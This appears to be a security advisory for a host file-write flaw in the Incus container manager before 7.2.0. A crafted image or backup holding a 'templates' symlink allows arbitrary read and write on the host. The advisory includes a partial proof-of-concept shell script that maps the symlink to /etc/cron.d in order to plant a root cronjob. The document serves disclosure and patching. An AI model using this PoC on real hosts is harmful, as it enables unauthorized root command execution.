Affected: lxc incus

Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.

Affected: Go: github.com/lxc/incus/v7/cmd/incusd

### Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

### Details

For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.

For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

### PoC

#### Malicious container image

Below, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.

``` #!/bin/sh set -eu

tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs" ln -s /etc/cron.d "${tmpdir}/img/templates" cat<<__EOF__>"${tmpdir}/img/metadata.yaml" architecture: x86_64 creation_date: 1 properties: description: PoC templates symlink host afrw __EOF__

cd "${tmpdir}/img" tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink incus init afrw-image-templates-sy…